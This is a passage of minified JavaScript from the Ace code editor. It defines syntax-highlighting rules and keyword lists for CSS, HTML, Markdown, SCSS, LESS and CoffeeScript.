er-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/markdown_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\",\"ace/mode/html_highlight_rules\",\"ace/mode/css_highlight_rules\"],function(e,t,n){\"use strict\";function c(e,t){return{token:\"support.function\",regex:\"^\\\\s*```\"+e+\"\\\\s*$\",push:t+\"start\"}}var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./css_highlight_rules\").CssHighlightRules,l=function(e){return\"(?:[^\"+i.escapeRegExp(e)+\"\\\\\\\\]|\\\\\\\\.)*\"},h=function(){a.call(this),this.$rules.start.unshift({token:\"empty_line\",regex:\"^$\",next:\"allowBlock\"},{token:\"markup.heading.1\",regex:\"^=+(?=\\\\s*$)\"},{token:\"markup.heading.2\",regex:\"^\\\\-+(?=\\\\s*$)\"},{token:function(e){return\"markup.heading.\"+e.length},regex:/^#{1,6}(?=\\s*[^ #]|\\s+#.)/,next:\"header\"},c(\"(?:javascript|js)\",\"jscode-\"),c(\"xml\",\"xmlcode-\"),c(\"html\",\"htmlcode-\"),c(\"css\",\"csscode-\"),{token:\"support.function\",regex:\"^\\\\s*```\\\\s*\\\\S*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{token:\"constant\",regex:\"^ {0,2}(?:(?: ?\\\\* ?){3,}|(?: ?\\\\- ?){3,}|(?: ?\\\\_ ?){3,})\\\\s*$\",next:\"allowBlock\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\"}),this.addRules({basic:[{token:\"constant.language.escape\",regex:/\\\\[\\\\`*_{}\\[\\]()#+\\-.!]/},{token:\"support.function\",regex:\"(`+)(.*?[^`])(\\\\1)\"},{token:[\"text\",\"constant\",\"text\",\"url\",\"string\",\"text\"],regex:'^([ ]{0,3}\\\\[)([^\\\\]]+)(\\\\]:\\\\s*)([^ ]+)(\\\\s*(?:[\"][^\"]+[\"])?(\\\\s*))$'},{token:[\"text\",\"string\",\"text\",\"constant\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]s*\\\\[)(\"+l(\"]\")+\")(\\\\])\"},{token:[\"text\",\"string\",\"text\",\"markup.underline\",\"string\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]\\\\()\"+'((?:[^\\\\)\\\\s\\\\\\\\]|\\\\\\\\.|\\\\s(?=[^\"]))*)'+'(\\\\s*\"'+l('\"')+'\"\\\\s*)?'+\"(\\\\))\"},{token:\"string.strong\",regex:\"([*]{2}|[_]{2}(?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:\"string.emphasis\",regex:\"([*]|[_](?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:[\"text\",\"url\",\"text\"],regex:\"(<)((?:https?|ftp|dict):[^'\\\">\\\\s]+|(?:mailto:)?[-.\\\\w]+\\\\@[-a-z0-9]+(?:\\\\.[-a-z0-9]+)*\\\\.[a-z]+)(>)\"}],allowBlock:[{token:\"support.function\",regex:\"^ {4}.+\",next:\"allowBlock\"},{token:\"empty\",regex:\"\",next:\"start\"}],header:[{regex:\"$\",next:\"start\"},{include:\"basic\"},{defaultToken:\"heading\"}],\"listblock-start\":[{token:\"support.variable\",regex:/(?:\\[[ x]\\])?/,next:\"listblock\"}],listblock:[{token:\"empty_line\",regex:\"^$\",next:\"start\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\",noEscape:!0},{token:\"support.function\",regex:\"^\\\\s*```\\\\s*[a-zA-Z]*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{defaultToken:\"list\"}],blockquote:[{token:\"empty_line\",regex:\"^\\\\s*$\",next:\"start\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{include:\"basic\",noEscape:!0},{defaultToken:\"string.blockquote\"}],githubblock:[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"start\"},{token:\"support.function\",regex:\".+\"}]}),this.embedRules(o,\"jscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(a,\"htmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(f,\"csscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(u,\"xmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.normalizeRules()};r.inherits(h,s),t.MarkdownHighlightRules=h}),ace.define(\"ace/mode/scss_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=i.arrayToMap(function(){var e=\"-webkit-|-moz-|-o-|-ms-|-svg-|-pie-|-khtml-\".split(\"|\"),t=\"appearance|background-clip|background-inline-policy|background-origin|background-size|binding|border-bottom-colors|border-left-colors|border-right-colors|border-top-colors|border-end|border-end-color|border-end-style|border-end-width|border-image|border-start|border-start-color|border-start-style|border-start-width|box-align|box-direction|box-flex|box-flexgroup|box-ordinal-group|box-orient|box-pack|box-sizing|column-count|column-gap|column-width|column-rule|column-rule-width|column-rule-style|column-rule-color|float-edge|font-feature-settings|font-language-override|force-broken-image-icon|image-region|margin-end|margin-start|opacity|outline|outline-color|outline-offset|outline-radius|outline-radius-bottomleft|outline-radius-bottomright|outline-radius-topleft|outline-radius-topright|outline-style|outline-width|padding-end|padding-start|stack-sizing|tab-size|text-blink|text-decoration-color|text-decoration-line|text-decoration-style|transform|transform-origin|transition|transition-delay|transition-duration|transition-property|transition-timing-function|user-focus|user-input|user-modify|user-select|window-shadow|border-radius\".split(\"|\"),n=\"azimuth|background-attachment|background-color|background-image|background-position|background-repeat|background|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border|bottom|box-shadow|box-sizing|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow|overflow-x|overflow-y|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|z-index\".split(\"|\"),r=[];for(var i=0,s=e.length;i<s;i++)Array.prototype.push.apply(r,(e[i]+t.join(\"|\"+e[i])).split(\"|\"));return Array.prototype.push.apply(r,t),Array.prototype.push.apply(r,n),r}()),t=i.arrayToMap(\"hsl|hsla|rgb|rgba|url|attr|counter|counters|abs|adjust_color|adjust_hue|alpha|join|blue|ceil|change_color|comparable|complement|darken|desaturate|floor|grayscale|green|hue|if|invert|join|length|lighten|lightness|mix|nth|opacify|opacity|percentage|quote|red|round|saturate|saturation|scale_color|transparentize|type_of|unit|unitless|unqoute\".split(\"|\")),n=i.arrayToMap(\"absolute|all-scroll|always|armenian|auto|baseline|below|bidi-override|block|bold|bolder|border-box|both|bottom|break-all|break-word|capitalize|center|char|circle|cjk-ideographic|col-resize|collapse|content-box|crosshair|dashed|decimal-leading-zero|decimal|default|disabled|disc|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ellipsis|fixed|georgian|groove|hand|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|inactive|inherit|inline-block|inline|inset|inside|inter-ideograph|inter-word|italic|justify|katakana-iroha|katakana|keep-all|left|lighter|line-edge|line-through|line|list-item|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|medium|middle|move|n-resize|ne-resize|newspaper|no-drop|no-repeat|nw-resize|none|normal|not-allowed|nowrap|oblique|outset|outside|overline|pointer|progress|relative|repeat-x|repeat-y|repeat|right|ridge|row-resize|rtl|s-resize|scroll|se-resize|separate|small-caps|solid|square|static|strict|super|sw-resize|table-footer-group|table-header-group|tb-rl|text-bottom|text-top|text|thick|thin|top|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|zero\".split(\"|\")),r=i.arrayToMap(\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\".split(\"|\")),s=i.arrayToMap(\"@mixin|@extend|@include|@import|@media|@debug|@warn|@if|@for|@each|@while|@else|@font-face|@-webkit-keyframes|if|and|!default|module|def|end|declare\".split(\"|\")),o=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\")),u=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:u+\"(?:em|ex|px|cm|mm|in|pt|pc|deg|rad|grad|ms|s|hz|khz|%)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:\"constant.numeric\",regex:u},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:function(i){return e.hasOwnProperty(i.toLowerCase())?\"support.type\":s.hasOwnProperty(i)?\"keyword\":n.hasOwnProperty(i)?\"constant.language\":t.hasOwnProperty(i)?\"support.function\":r.hasOwnProperty(i.toLowerCase())?\"support.constant.color\":o.hasOwnProperty(i.toLowerCase())?\"variable.language\":\"text\"},regex:\"\\\\-?[@a-z_][@a-z0-9_\\\\-]*\"},{token:\"variable\",regex:\"[a-z_\\\\-$][a-z0-9_\\\\-$]*\\\\b\"},{token:\"variable.language\",regex:\"#[a-z0-9-_]+\"},{token:\"variable.language\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"variable.language\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{token:\"keyword.operator\",regex:\"<|>|<=|>=|==|!=|-|%|#|\\\\+|\\\\$|\\\\+|\\\\*\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(o,s),t.ScssHighlightRules=o}),ace.define(\"ace/mode/less_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=i.arrayToMap(function(){var e=\"-webkit-|-moz-|-o-|-ms-|-svg-|-pie-|-khtml-\".split(\"|\"),t=\"appearance|background-clip|background-inline-policy|background-origin|background-size|binding|border-bottom-colors|border-left-colors|border-right-colors|border-top-colors|border-end|border-end-color|border-end-style|border-end-width|border-image|border-start|border-start-color|border-start-style|border-start-width|box-align|box-direction|box-flex|box-flexgroup|box-ordinal-group|box-orient|box-pack|box-sizing|column-count|column-gap|column-width|column-rule|column-rule-width|column-rule-style|column-rule-color|float-edge|font-feature-settings|font-language-override|force-broken-image-icon|image-region|margin-end|margin-start|opacity|outline|outline-color|outline-offset|outline-radius|outline-radius-bottomleft|outline-radius-bottomright|outline-radius-topleft|outline-radius-topright|outline-style|outline-width|padding-end|padding-start|stack-sizing|tab-size|text-blink|text-decoration-color|text-decoration-line|text-decoration-style|transform|transform-origin|transition|transition-delay|transition-duration|transition-property|transition-timing-function|user-focus|user-input|user-modify|user-select|window-shadow|border-radius\".split(\"|\"),n=\"azimuth|background-attachment|background-color|background-image|background-position|background-repeat|background|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border|bottom|box-sizing|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow|overflow-x|overflow-y|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|z-index\".split(\"|\"),r=[];for(var i=0,s=e.length;i<s;i++)Array.prototype.push.apply(r,(e[i]+t.join(\"|\"+e[i])).split(\"|\"));return Array.prototype.push.apply(r,t),Array.prototype.push.apply(r,n),r}()),t=i.arrayToMap(\"hsl|hsla|rgb|rgba|url|attr|counter|counters|lighten|darken|saturate|desaturate|fadein|fadeout|fade|spin|mix|hue|saturation|lightness|alpha|round|ceil|floor|percentage|color|iscolor|isnumber|isstring|iskeyword|isurl|ispixel|ispercentage|isem\".split(\"|\")),n=i.arrayToMap(\"absolute|all-scroll|always|armenian|auto|baseline|below|bidi-override|block|bold|bolder|border-box|both|bottom|break-all|break-word|capitalize|center|char|circle|cjk-ideographic|col-resize|collapse|content-box|crosshair|dashed|decimal-leading-zero|decimal|default|disabled|disc|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ellipsis|fixed|georgian|groove|hand|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|inactive|inherit|inline-block|inline|inset|inside|inter-ideograph|inter-word|italic|justify|katakana-iroha|katakana|keep-all|left|lighter|line-edge|line-through|line|list-item|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|medium|middle|move|n-resize|ne-resize|newspaper|no-drop|no-repeat|nw-resize|none|normal|not-allowed|nowrap|oblique|outset|outside|overline|pointer|progress|relative|repeat-x|repeat-y|repeat|right|ridge|row-resize|rtl|s-resize|scroll|se-resize|separate|small-caps|solid|square|static|strict|super|sw-resize|table-footer-group|table-header-group|tb-rl|text-bottom|text-top|text|thick|thin|top|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|zero\".split(\"|\")),r=i.arrayToMap(\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\".split(\"|\")),s=i.arrayToMap(\"@mixin|@extend|@include|@import|@media|@debug|@warn|@if|@for|@each|@while|@else|@font-face|@-webkit-keyframes|if|and|!default|module|def|end|declare|when|not|and\".split(\"|\")),o=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\")),u=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:u+\"(?:em|ex|px|cm|mm|in|pt|pc|deg|rad|grad|ms|s|hz|khz|%)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:\"constant.numeric\",regex:u},{token:function(e){return s.hasOwnProperty(e)?\"keyword\":\"variable\"},regex:\"@[a-z0-9_\\\\-@]*\\\\b\"},{token:function(i){return e.hasOwnProperty(i.toLowerCase())?\"support.type\":s.hasOwnProperty(i)?\"keyword\":n.hasOwnProperty(i)?\"constant.language\":t.hasOwnProperty(i)?\"support.function\":r.hasOwnProperty(i.toLowerCase())?\"support.constant.color\":o.hasOwnProperty(i.toLowerCase())?\"variable.language\":\"text\"},regex:\"\\\\-?[@a-z_][@a-z0-9_\\\\-]*\"},{token:\"variable.language\",regex:\"#[a-z0-9-_]+\"},{token:\"variable.language\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"variable.language\",regex:\":[a-z_][a-z0-9-_]*\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{token:\"keyword.operator\",regex:\"<|>|<=|>=|==|!=|-|%|#|\\\\+|\\\\$|\\\\+|\\\\*\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]}};r.inherits(o,s),t.LessHighlightRules=o}),ace.define(\"ace/mode/coffee_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function s(){var e=\"[$A-Za-z_\\\\x7f-\\\\uffff][$\\\\w\\\\x7f-\\\\uffff]*\",t=\"this|throw|then|try|typeof|super|switch|return|break|by|continue|catch|class|in|instanceof|is|isnt|if|else|extends|for|own|finally|function|while|when|new|no|not|delete|debugger|do|loop|of|off|or|on|unless|until|and|yes\",n=\"true|false|null|undefined|NaN|Infinity\",r=\"case|const|default|function|var|void|with|enum|export|implements|interface|let|package|private|protected|public|static|yield|__hasProp|slice|bind|indexOf\",i=\"Array|Boolean|Date|Function|Number|Object|RegExp|ReferenceError|String|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray\",s=\"Math|JSON|isNaN|isFinite|parseInt|parseFloat|encodeURI|encodeURIComponent|decodeURI|decodeURIComponent|String|\",o=\"window|arguments|prototype|document\",u=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"invalid.illegal\":r,\"language.support.class\":i,\"language.support.function\":s,\"variable.language\":o},\"identifier\"),a={token:[\"paren.lparen\",\"variable.parameter\",\"paren.rparen\",\"text\",\"storage.type\"],regex:/(?:(\\()((?:\"[^\")]*?\"|'[^')]*?'|\\/[^\\/)]*?\\/|[^()\\\"'\\/])*?)(\\))(\\s*))?([\\-=]>)/.source},f=/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)/;this.$rules={start:[{token:\"constant.numeric\",regex:\"(?:0x[\\\\da-fA-F]+|(?:\\\\d+(?:\\\\.\\\\d+)?|\\\\.\\\\d+)(?:[eE][+-]?\\\\d+)?)\"},{stateName:\"qdoc\",token:\"string\",regex:\"'''\",next:[{token:\"string\",regex:\"'''\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qqdoc\",token:\"string\",regex:'\"\"\"',next:[{token:\"string\",regex:'\"\"\"',next:\"start\"},{token:\"paren.string\",regex:\"#{\",push:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qstring\",token:\"string\",regex:\"'\",next:[{token:\"string\",regex:\"'\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qqstring\",token:\"string.start\",regex:'\"',next:[{token:\"string.end\",regex:'\"',next:\"start\"},{token:\"paren.string\",regex:\"#{\",push:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"js\",token:\"string\",regex:\"`\",next:[{token:\"string\",regex:\"`\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{regex:\"[{}]\",onMatch:function(e,t,n){this.next=\"\